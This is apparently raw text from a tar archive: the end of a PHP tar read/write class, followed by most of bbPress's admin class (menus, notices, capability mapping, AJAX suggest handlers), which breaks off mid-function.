			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
includes/admin/classes/class-bbp-admin.php000066600000131507151771460310014564 0ustar00<?php

/**
 * Main bbPress Admin Class
 *
 * @package bbPress
 * @subpackage Administration
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

if ( ! class_exists( 'BBP_Admin' ) ) :
/**
 * Loads bbPress plugin admin area
 *
 * @package bbPress
 * @subpackage Administration
 * @since 2.0.0 bbPress (r2464)
 */
class BBP_Admin {

	/** Directory *************************************************************/

	/**
	 * @var string Path to the bbPress admin directory
	 */
	public $admin_dir = '';

	/** URLs ******************************************************************/

	/**
	 * @var string URL to the bbPress admin directory
	 */
	public $admin_url = '';

	/**
	 * @var string URL to the bbPress images directory
	 */
	public $images_url = '';

	/**
	 * @var string URL to the bbPress admin styles directory
	 */
	public $styles_url = '';

	/**
	 * @var string URL to the bbPress admin css directory
	 */
	public $css_url = '';

	/**
	 * @var string URL to the bbPress admin js directory
	 */
	public $js_url = '';

	/** Capability ************************************************************/

	/**
	 * @var bool Minimum capability to access Tools and Settings
	 */
	public $minimum_capability = 'keep_gate';

	/** Separator *************************************************************/

	/**
	 * @var bool Whether or not to add an extra top level menu separator
	 */
	public $show_separator = false;

	/** Tools *****************************************************************/

	/**
	 * @var array Array of available repair tools
	 */
	public $tools = array();

	/** Notices ***************************************************************/

	/**
	 * @var array Array of notices to output to the current user
	 */
	public $notices = array();

	/** Functions *************************************************************/

	/**
	 * The main bbPress admin loader
	 *
	 * @since 2.0.0 bbPress (r2515)
	 */
	public function __construct() {
		$this->setup_globals();
		$this->includes();
		$this->setup_actions();
	}

	/**
	 * Admin globals
	 *
	 * @since 2.0.0 bbPress (r2646)
	 *
	 * @access private
	 */
	private function setup_globals() {
		$bbp              = bbpress();
		$this->admin_dir  = trailingslashit( $bbp->includes_dir . 'admin'      ); // Admin path
		$this->admin_url  = trailingslashit( $bbp->includes_url . 'admin'      ); // Admin url

		// Assets
		$this->css_url    = trailingslashit( $this->admin_url   . 'assets/css' ); // Admin css URL
		$this->js_url     = trailingslashit( $this->admin_url   . 'assets/js'  ); // Admin js URL
		$this->styles_url = trailingslashit( $this->admin_url   . 'styles'     ); // Admin styles URL

		// Deprecated
		$this->images_url = trailingslashit( $this->admin_url   . 'images'     ); // Admin images URL
	}

	/**
	 * Include required files
	 *
	 * @since 2.0.0 bbPress (r2646)
	 *
	 * @access private
	 */
	private function includes() {

		// Tools
		require $this->admin_dir . 'tools.php';
		require $this->admin_dir . 'tools/common.php';
		require $this->admin_dir . 'tools/converter.php';
		require $this->admin_dir . 'tools/repair.php';
		require $this->admin_dir . 'tools/upgrade.php';
		require $this->admin_dir . 'tools/reset.php';
		require $this->admin_dir . 'tools/help.php';

		// Components
		require $this->admin_dir . 'settings.php';
		require $this->admin_dir . 'common.php';
		require $this->admin_dir . 'metaboxes.php';
		require $this->admin_dir . 'forums.php';
		require $this->admin_dir . 'topics.php';
		require $this->admin_dir . 'replies.php';
		require $this->admin_dir . 'users.php';
	}

	/**
	 * Setup the admin hooks, actions and filters
	 *
	 * @since 2.0.0 bbPress (r2646)
	 *
	 * @access private
	 */
	private function setup_actions() {

		// Bail to prevent interfering with the deactivation process
		if ( bbp_is_deactivation() ) {
			return;
		}

		/** General Actions ***************************************************/

		add_action( 'bbp_admin_menu',              array( $this, 'admin_menus'             ) );
		add_action( 'bbp_admin_head',              array( $this, 'admin_head'              ) );
		add_action( 'bbp_register_admin_styles',   array( $this, 'register_admin_styles'   ) );
		add_action( 'bbp_register_admin_scripts',  array( $this, 'register_admin_scripts'  ) );
		add_action( 'bbp_register_admin_settings', array( $this, 'register_admin_settings' ) );

		// Enqueue styles & scripts
		add_action( 'admin_enqueue_scripts',       array( $this, 'enqueue_styles'  ) );
		add_action( 'admin_enqueue_scripts',       array( $this, 'enqueue_scripts' ) );

		/** Notices ***********************************************************/

		add_action( 'bbp_admin_init',    array( $this, 'setup_notices'  ) );
		add_action( 'bbp_admin_init',    array( $this, 'hide_notices'   ) );
		add_action( 'bbp_admin_notices', array( $this, 'output_notices' ) );

		/** Upgrades **********************************************************/

		add_action( 'bbp_admin_init', array( $this, 'add_upgrade_count' ) );

		/** Ajax **************************************************************/

		// No _nopriv_ equivalent - users must be logged in
		add_action( 'wp_ajax_bbp_suggest_topic', array( $this, 'suggest_topic' ) );
		add_action( 'wp_ajax_bbp_suggest_user',  array( $this, 'suggest_user'  ) );

		/** Filters ***********************************************************/

		// Modify admin links
		add_filter( 'plugin_action_links', array( $this, 'modify_plugin_action_links' ), 10, 2 );

		// Map settings capabilities
		add_filter( 'bbp_map_meta_caps',   array( $this, 'map_settings_meta_caps' ), 10, 4 );

		// Allow keymasters to save forums settings
		add_filter( 'option_page_capability_bbpress',  array( $this, 'option_page_capability_bbpress' ) );

		/** Network Admin *****************************************************/

		// Add menu item to settings menu
		add_action( 'network_admin_menu',  array( $this, 'network_admin_menus' ) );

		/** Dependencies ******************************************************/

		// Allow plugins to modify these actions
		do_action_ref_array( 'bbp_admin_loaded', array( &$this ) );
	}

	/**
	 * Setup general admin area notices.
	 *
	 * @since 2.6.0 bbPress (r6701)
	 */
	public function setup_notices() {

		// Avoid malformed notices variable
		if ( ! is_array( $this->notices ) ) {
			$this->notices = array();
		}

		// Get page
		$page = ! empty( $_GET['page'] )
			? sanitize_key( $_GET['page'] )
			: false;

		// Pending database upgrades!
		if ( ( 'bbp-upgrade' !== $page ) && bbp_get_pending_upgrades() && current_user_can( 'bbp_tools_upgrade_page' ) ) {

			// Link to upgrade page
			$upgrade_url  = add_query_arg( array( 'page' => 'bbp-upgrade', 'status' => 'pending' ), admin_url( 'tools.php' ) );
			$dismiss_url  = wp_nonce_url( add_query_arg( array( 'bbp-hide-notice' => 'bbp-skip-upgrades' ) ), 'bbp-hide-notice' );
			$upgrade_link = '<a href="' . esc_url( $upgrade_url ) . '">' . esc_html__( 'Learn More',   'bbpress' ) . '</a>';
			$dismiss_link = '<a href="' . esc_url( $dismiss_url ) . '">' . esc_html__( 'Hide For Now', 'bbpress' ) . '</a>';
			$bbp_dashicon = '<span class="bbpress-logo-icon"></span>';
			$message      = $bbp_dashicon . sprintf(
				esc_html__( 'bbPress requires a manual database upgrade. %s or %s.', 'bbpress' ),
				$upgrade_link,
				$dismiss_link
			);

			// Add tools feedback
			$this->add_notice( $message, 'notice-bbpress', false );
		}
	}

	/**
	 * Handle hiding of general admin area notices.
	 *
	 * @since 2.6.0 bbPress (r6701)
	 */
	public function hide_notices() {

		// Hiding a notice?
		$hiding_notice = ! empty( $_GET['bbp-hide-notice'] )
			? sanitize_key( $_GET['bbp-hide-notice'] )
			: false;

		// Bail if not hiding a notice
		if ( empty( $hiding_notice ) ) {
			return;
		}

		// Bail if user cannot visit upgrade page (cannot clear notice either!)
		if ( ! current_user_can( 'bbp_tools_upgrade_page' ) ) {
			return;
		}

		// Check the admin referer
		check_admin_referer( 'bbp-hide-notice' );

		// Maybe delete notices
		switch ( $hiding_notice ) {

			// Skipped upgrade notice
			case 'bbp-skip-upgrades' :
				bbp_clear_pending_upgrades();
				break;
		}
	}

	/**
	 * Output all admin area notices
	 *
	 * @since 2.6.0 bbPress (r6771)
	 */
	public function output_notices() {

		// Bail if no notices
		if ( empty( $this->notices ) || ! is_array( $this->notices ) ) {
			return;
		}

		// Start an output buffer
		ob_start();

		// Loop through notices, and add them to buffer
		foreach ( $this->notices as $notice ) {
			echo $notice;
		}

		// Output the current buffer
		echo ob_get_clean();
	}

	/**
	 * Add a notice to the notices array
	 *
	 * @since 2.6.0 bbPress (r6771)
	 *
	 * @param string|WP_Error $message        A message to be displayed or {@link WP_Error}
	 * @param string          $class          Optional. A class to be added to the message div
	 * @param bool            $is_dismissible Optional. True to dismiss, false to persist
	 *
	 * @return void
	 */
	public function add_notice( $message, $class = false, $is_dismissible = true ) {

		// One message as string
		if ( is_string( $message ) ) {
			$message       = '<p>' . $this->esc_notice( $message ) . '</p>';
			$default_class ='updated';

		// Messages as objects
		} elseif ( is_wp_error( $message ) ) {
			$errors  = $message->get_error_messages();

			switch ( count( $errors ) ) {
				case 0:
					return false;

				case 1:
					$message = '<p>' . $this->esc_notice( $errors[0] ) . '</p>';
					break;

				default:
					$escaped = array_map( array( $this, 'esc_notice' ), $errors );
					$message = '<ul>' . "\n\t" . '<li>' . implode( '</li>' . "\n\t" . '<li>', $escaped ) . '</li>' . "\n" . '</ul>';
					break;
			}

			$default_class = 'is-error';

		// Message is an unknown format, so bail
		} else {
			return false;
		}

		// CSS Classes
		$classes = ! empty( $class )
			? array( $class )
			: array( $default_class );

		// Add dismissible class
		if ( ! empty( $is_dismissible ) ) {
			array_push( $classes, 'is-dismissible' );
		}

		// Assemble the message
		$message = '<div id="message" class="notice ' . implode( ' ', array_map( 'sanitize_html_class', $classes ) ) . '">' . $message . '</div>';
		$message = str_replace( "'", "\'", $message );

		// Avoid malformed notices variable
		if ( ! is_array( $this->notices ) ) {
			$this->notices = array();
		}

		// Add notice to notices array
		$this->notices[] = $message;
	}

	/**
	 * Escape message string output
	 *
	 * @since 2.6.0 bbPress (r6775)
	 *
	 * @param string $message
	 *
	 * @return string
	 */
	private function esc_notice( $message = '' ) {

		// Get allowed HTML
		$tags = wp_kses_allowed_html();

		// Allow spans with classes in notices
		$tags['span'] = array(
			'class' => 1
		);

		// Parse the message and remove unsafe tags
		$text = wp_kses( $message, $tags );

		// Return the message text
		return $text;
	}

	/**
	 * Maybe append the pending upgrade count to the "Tools" menu.
	 *
	 * @since 2.6.0 bbPress (r6896)
	 *
	 * @global menu $menu
	 */
	public function add_upgrade_count() {
		global $menu;

		// Skip if no menu (AJAX, shortinit, etc...)
		if ( empty( $menu ) ) {
			return;
		}

		// Loop through menus, and maybe add the upgrade count
		foreach ( $menu as $menu_index => $menu_item ) {
			$found = array_search( 'tools.php', $menu_item, true );

			if ( false !== $found ) {
				$menu[ $menu_index ][ 0 ] = bbp_maybe_append_pending_upgrade_count( $menu[ $menu_index ][ 0 ] );
				continue;
			}
		}
	}

	/**
	 * Add the admin menus
	 *
	 * @since 2.0.0 bbPress (r2646)
	 */
	public function admin_menus() {

		// Default hooks array
		$hooks = array();

		// Get the tools pages
		$tools = bbp_get_tools_admin_pages();

		// Loop through tools and check
		if ( ! empty( $tools ) ) {
			foreach ( $tools as $tool ) {

				// Try to add the admin page
				$page = add_management_page(
					$tool['name'],
					$tool['name'],
					$tool['cap'],
					$tool['page'],
					$tool['func']
				);

				// Add page to hook if user can view it
				if ( false !== $page ) {
					$hooks[] = $page;
				}
			}

			// Fudge the highlighted subnav item when on a bbPress admin page
			if ( ! empty( $hooks ) ) {
				foreach ( $hooks as $hook ) {
					add_action( "admin_head-{$hook}", 'bbp_tools_modify_menu_highlight' );
				}
			}
		}

		// Forums Tools Root
		add_management_page(
			esc_html__( 'Forums', 'bbpress' ),
			bbp_maybe_append_pending_upgrade_count( esc_html__( 'Forums', 'bbpress' ) ),
			'bbp_tools_page',
			'bbp-repair',
			'bbp_admin_repair_page'
		);

		// Are settings enabled?
		if ( 'basic' === bbp_settings_integration() ) {
			add_options_page(
				esc_html__( 'Forums',  'bbpress' ),
				esc_html__( 'Forums',  'bbpress' ),
				'bbp_settings_page',
				'bbpress',
				'bbp_admin_settings'
			);
		}

		// These are later removed in admin_head
		if ( current_user_can( 'bbp_about_page' ) ) {

			// About
			add_dashboard_page(
				esc_html__( 'Welcome to bbPress',  'bbpress' ),
				esc_html__( 'Welcome to bbPress',  'bbpress' ),
				'bbp_about_page',
				'bbp-about',
				array( $this, 'about_screen' )
			);

			// Credits
			add_dashboard_page(
				esc_html__( 'Welcome to bbPress',  'bbpress' ),
				esc_html__( 'Welcome to bbPress',  'bbpress' ),
				'bbp_about_page',
				'bbp-credits',
				array( $this, 'credits_screen' )
			);
		}

		// Bail if plugin is not network activated
		if ( ! is_plugin_active_for_network( bbpress()->basename ) ) {
			return;
		}

		add_submenu_page(
			'index.php',
			esc_html__( 'Update Forums', 'bbpress' ),
			esc_html__( 'Update Forums', 'bbpress' ),
			'manage_network',
			'bbp-update',
			array( $this, 'update_screen' )
		);
	}

	/**
	 * Add the network admin menus
	 *
	 * @since 2.1.0 bbPress (r3689)
	 */
	public function network_admin_menus() {

		// Bail if plugin is not network activated
		if ( ! is_plugin_active_for_network( bbpress()->basename ) ) {
			return;
		}

		add_submenu_page(
			'upgrade.php',
			esc_html__( 'Update Forums', 'bbpress' ),
			esc_html__( 'Update Forums', 'bbpress' ),
			'manage_network',
			'bbpress-update',
			array( $this, 'network_update_screen' )
		);
	}

	/**
	 * Register the settings
	 *
	 * @since 2.0.0 bbPress (r2737)
	 *
	 * @todo Put fields into multidimensional array
	 */
	public static function register_admin_settings() {

		// Bail if no sections available
		$sections = bbp_admin_get_settings_sections();
		if ( empty( $sections ) ) {
			return false;
		}

		// Are we using settings integration?
		$settings_integration = bbp_settings_integration();

		// Loop through sections
		foreach ( (array) $sections as $section_id => $section ) {

			// Only proceed if current user can see this section
			if ( ! current_user_can( $section_id ) ) {
				continue;
			}

			// Only add section and fields if section has fields
			$fields = bbp_admin_get_settings_fields_for_section( $section_id );
			if ( empty( $fields ) ) {
				continue;
			}

			// Overload the converter page
			if ( ! empty( $section['page'] ) && ( ( 'converter' === $section['page'] ) || ( 'deep' === $settings_integration ) ) ) {
				$page = $section['page'];
			} else {
				$page = 'bbpress';
			}

			// Add the section
			add_settings_section( $section_id, $section['title'], $section['callback'], $page );

			// Loop through fields for this section
			foreach ( (array) $fields as $field_id => $field ) {

				// Skip field if user is not capable
				if ( ! empty( $field['capability'] ) && ! current_user_can( $field['capability'] ) ) {
					continue;
				}

				// Add the field
				if ( ! empty( $field['callback'] ) && ! empty( $field['title'] ) ) {
					add_settings_field( $field_id, $field['title'], $field['callback'], $page, $section_id, $field['args'] );
				}

				// Register the setting
				register_setting( $page, $field_id, $field['sanitize_callback'] );
			}
		}
	}

	/**
	 * Maps settings capabilities
	 *
	 * @since 2.2.0 bbPress (r4242)
	 *
	 * @param array $caps Capabilities for meta capability
	 * @param string $cap Capability name
	 * @param int $user_id User id
	 * @param array $args Arguments
	 *
	 * @return array Actual capabilities for meta capability
	 */
	public static function map_settings_meta_caps( $caps = array(), $cap = '', $user_id = 0, $args = array() ) {

		// What capability is being checked?
		switch ( $cap ) {

			// Pages
			case 'bbp_about_page'            : // About and Credits
			case 'bbp_tools_page'            : // Tools Page
			case 'bbp_tools_repair_page'     : // Tools - Repair Page
			case 'bbp_tools_upgrade_page'    : // Tools - Upgrade Page
			case 'bbp_tools_import_page'     : // Tools - Import Page
			case 'bbp_tools_reset_page'      : // Tools - Reset Page
			case 'bbp_settings_page'         : // Settings Page

			// Converter Sections
			case 'bbp_converter_connection'  : // Converter - Connection
			case 'bbp_converter_options'     : // Converter - Options

			// Settings Sections
			case 'bbp_settings_users'        : // Settings - Users
			case 'bbp_settings_features'     : // Settings - Features
			case 'bbp_settings_theme_compat' : // Settings - Theme compat
			case 'bbp_settings_root_slugs'   : // Settings - Root slugs
			case 'bbp_settings_single_slugs' : // Settings - Single slugs
			case 'bbp_settings_user_slugs'   : // Settings - User slugs
			case 'bbp_settings_per_page'     : // Settings - Per page
			case 'bbp_settings_per_rss_page' : // Settings - Per RSS page
				$caps = array( bbp_admin()->minimum_capability );
				break;

			// Extend - BuddyPress
			case 'bbp_settings_buddypress' :
				if ( ( is_plugin_active( 'buddypress/bp-loader.php' ) && defined( 'BP_VERSION' ) && bp_is_root_blog() ) && is_super_admin() ) {
					$caps = array( bbp_admin()->minimum_capability );
				} else {
					$caps = array( 'do_not_allow' );
				}

				break;

			// Extend - Akismet
			case 'bbp_settings_akismet' :
				if ( ( is_plugin_active( 'akismet/akismet.php' ) && defined( 'AKISMET_VERSION' ) ) && is_super_admin() ) {
					$caps = array( bbp_admin()->minimum_capability );
				} else {
					$caps = array( 'do_not_allow' );
				}

				break;
		}

		// Filter & return
		return (array) apply_filters( 'bbp_map_settings_meta_caps', $caps, $cap, $user_id, $args );
	}

	/**
	 * Register the importers
	 *
	 * @since 2.0.0 bbPress (r2737)
	 */
	public function register_importers() {

		// Leave if we're not in the import section
		if ( ! defined( 'WP_LOAD_IMPORTERS' ) ) {
			return;
		}

		// Load Importer API
		require_once ABSPATH . 'wp-admin/includes/import.php';

		// Load our importers
		$importers = apply_filters( 'bbp_importers', array( 'bbpress' ) );

		// Loop through included importers
		foreach ( $importers as $importer ) {

			// Allow custom importer directory
			$import_dir  = apply_filters( 'bbp_importer_path', $this->admin_dir . 'importers', $importer );

			// Compile the importer path
			$import_file = trailingslashit( $import_dir ) . $importer . '.php';

			// If the file exists, include it
			if ( file_exists( $import_file ) ) {
				require $import_file;
			}
		}
	}

	/**
	 * Add Settings link to plugins area
	 *
	 * @since 2.0.0 bbPress (r2737)
	 *
	 * @param array $links Links array in which we would prepend our link
	 * @param string $file Current plugin basename
	 * @return array Processed links
	 */
	public static function modify_plugin_action_links( $links, $file ) {

		// Return normal links if not bbPress
		if ( plugin_basename( bbpress()->basename ) !== $file ) {
			return $links;
		}

		// New links to merge into existing links
		$new_links = array();

		// Settings page link
		if ( current_user_can( 'bbp_settings_page' ) ) {
			$new_links['settings'] = '<a href="' . esc_url( add_query_arg( array( 'page' => 'bbpress'   ), admin_url( 'options-general.php' ) ) ) . '">' . esc_html__( 'Settings', 'bbpress' ) . '</a>';
		}

		// About page link
		if ( current_user_can( 'bbp_about_page' ) ) {
			$new_links['about']    = '<a href="' . esc_url( add_query_arg( array( 'page' => 'bbp-about' ), admin_url( 'index.php'           ) ) ) . '">' . esc_html__( 'About',    'bbpress' ) . '</a>';
		}

		// Add a few links to the existing links array
		return array_merge( $links, $new_links );
	}

	/**
	 * Enqueue any admin scripts we might need
	 *
	 * @since 2.2.0 bbPress (r4260)
	 */
	public function enqueue_scripts() {

		// Get the current screen
		$current_screen = get_current_screen();

		// Enqueue suggest for forum/topic/reply autocompletes
		wp_enqueue_script( 'suggest' );

		// Post type checker (only topics and replies)
		if ( 'post' === $current_screen->base ) {
			switch ( $current_screen->post_type ) {
				case bbp_get_reply_post_type() :
				case bbp_get_topic_post_type() :

					// Enqueue the common JS
					wp_enqueue_script( 'bbp-admin-common-js' );

					// Topics admin
					if ( bbp_get_topic_post_type() === $current_screen->post_type ) {
						wp_enqueue_script( 'bbp-admin-topics-js' );

					// Replies admin
					} elseif ( bbp_get_reply_post_type() === $current_screen->post_type ) {
						wp_enqueue_script( 'bbp-admin-replies-js' );
					}

					break;
			}

		// Enqueue the badge JS
		} elseif ( in_array( $current_screen->id, array( 'dashboard_page_bbp-about', 'dashboard_page_bbp-credits' ), true ) ) {
			wp_enqueue_script( 'bbp-admin-badge-js' );
		}
	}

	/**
	 * Enqueue any admin scripts we might need
	 *
	 * @since 2.6.0 bbPress (r5224)
	 */
	public function enqueue_styles() {
		wp_enqueue_style( 'bbp-admin-css' );
	}

	/**
	 * Remove the individual recount and converter menus.
	 * They are grouped together by h2 tabs
	 *
	 * @since 2.0.0 bbPress (r2464)
	 */
	public function admin_head() {

		// Tools
		foreach ( bbp_get_tools_admin_pages() as $tool ) {
			remove_submenu_page( 'tools.php', $tool['page'] );
		}

		// About
		remove_submenu_page( 'index.php', 'bbp-about'   );
		remove_submenu_page( 'index.php', 'bbp-credits' );
	}

	/**
	 * Registers the bbPress admin styling and color schemes
	 *
	 * Because wp-content can exist outside of the WordPress root, there is no
	 * way to be certain what the relative path of admin images is.
	 *
	 * @since 2.6.0 bbPress (r2521)
	 */
	public function register_admin_styles() {

		// RTL and/or minified
		$suffix  = is_rtl() ? '-rtl' : '';
		$suffix .= defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';

		// Get the version to use for JS
		$version = bbp_get_version();

		// Register admin CSS with dashicons dependency
		wp_register_style( 'bbp-admin-css', $this->css_url . 'admin' . $suffix . '.css', array( 'dashicons' ), $version );

		// Color schemes are not available when running out of src
		if ( false !== strpos( plugin_basename( bbpress()->file ), 'src' ) ) {
			return;
		}

		// Mint
		wp_admin_css_color(
			'bbp-mint',
			esc_html_x( 'Mint', 'admin color scheme', 'bbpress' ),
			$this->styles_url . 'mint/colors' . $suffix . '.css',
			array( '#4f6d59', '#33834e', '#5FB37C', '#81c498' ),
			array( 'base' => '#f1f3f2', 'focus' => '#fff', 'current' => '#fff' )
		);

		// Evergreen
		wp_admin_css_color(
			'bbp-evergreen',
			esc_html_x( 'Evergreen', 'admin color scheme', 'bbpress' ),
			$this->styles_url . 'evergreen/colors' . $suffix . '.css',
			array( '#324d3a', '#446950', '#56b274', '#324d3a' ),
			array( 'base' => '#f1f3f2', 'focus' => '#fff', 'current' => '#fff' )
		);
	}

	/**
	 * Registers the bbPress admin color schemes
	 *
	 * Because wp-content can exist outside of the WordPress root there is no
	 * way to be certain what the relative path of the admin images is.
	 * We are including the two most common configurations here, just in case.
	 *
	 * @since 2.6.0 bbPress (r2521)
	 */
	public function register_admin_scripts() {

		// Minified
		$suffix  = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min';

		// Get the version to use for JS
		$version = bbp_get_version();

		// Header JS
		wp_register_script( 'bbp-admin-common-js',  $this->js_url . 'common'    . $suffix . '.js', array( 'jquery', 'suggest'              ), $version );
		wp_register_script( 'bbp-admin-topics-js',  $this->js_url . 'topics'    . $suffix . '.js', array( 'jquery'                         ), $version );
		wp_register_script( 'bbp-admin-replies-js', $this->js_url . 'replies'   . $suffix . '.js', array( 'jquery', 'suggest'              ), $version );
		wp_register_script( 'bbp-converter',        $this->js_url . 'converter' . $suffix . '.js', array( 'jquery', 'postbox', 'dashboard' ), $version );

		// Footer JS
		wp_register_script( 'bbp-admin-badge-js',   $this->js_url . 'badge' . $suffix . '.js', array(), $version, true );
	}

	/**
	 * Allow keymaster role to save Forums settings
	 *
	 * @since 2.3.0 bbPress (r4678)
	 *
	 * @param string $capability
	 * @return string Return minimum capability
	 */
	public function option_page_capability_bbpress( $capability = 'manage_options' ) {
		$capability = $this->minimum_capability;
		return $capability;
	}

	/** Ajax ******************************************************************/

	/**
	 * Ajax action for facilitating the forum auto-suggest
	 *
	 * @since 2.2.0 bbPress (r4261)
	 */
	public function suggest_topic() {

		// Do some very basic request checking
		$request = ! empty( $_REQUEST['q'] )
			? trim( $_REQUEST['q'] )
			: '';

		// Bail early if empty request
		if ( empty( $request ) ) {
			wp_die();
		}

		// Bail if user cannot moderate
		if ( ! current_user_can( 'moderate' ) ) {
			wp_die();
		}

		// Check the ajax nonce
		check_ajax_referer( 'bbp_suggest_topic_nonce' );

		// Allow the maximum number of results to be filtered
		$number = (int) apply_filters( 'bbp_suggest_topic_count', 10 );

		// Try to get some topics
		$topics = get_posts( array(
			's'              => bbp_db()->esc_like( $_REQUEST['q'] ),
			'post_type'      => bbp_get_topic_post_type(),
			'posts_per_page' => $number,

			// Performance
			'nopaging'               => true,
			'suppress_filters'       => true,
			'update_post_term_cache' => false,
			'update_post_meta_cache' => false,
			'ignore_sticky_posts'    => true,
			'no_found_rows'          => true
		) );

		// If we found some topics, loop through and display them
		if ( ! empty( $topics ) ) {
			foreach ( (array) $topics as $post ) {
				printf( esc_html__( '%1$s - %2$s', 'bbpress' ), bbp_get_topic_id( $post->ID ), bbp_get_topic_title( $post->ID ) . "\n" );
			}
		}
		die();
	}

	/**
	 * Ajax action for facilitating the topic and reply author auto-suggest
	 *
	 * @since 2.4.0 bbPress (r5014)
	 */
	public function suggest_user() {

		// Do some very basic request checking
		$request = ! empty( $_REQUEST['q'] )
			? trim( $_REQUEST['q'] )
			: '';

		// Bail early if empty request
		if ( empty( $request ) ) {
			wp_die();
		}

		// Bail if user cannot moderate
		if ( ! current_user_can( 'moderate' ) ) {
			wp_die();
		}

		// Check the ajax nonce
		check_ajax_referer( 'bbp_suggest_user_nonce' );

		// Fields to retrieve & search by
		$fields = $search = array( 'ID', 'user_nicename' );

		// Keymasters & Super-Mods can also search by email
		if ( current_user_can( 'keep_gate' ) || bbp_allow_super_mods() ) {

			// Add user_email to searchable columns
			array_push( $search, 'user_email' );

			// Unstrict to also allow some email characters
			$strict = false;

		// Strict sanitizing if not Keymaster or Super-Mod
		} else {
			$strict = true;
		}

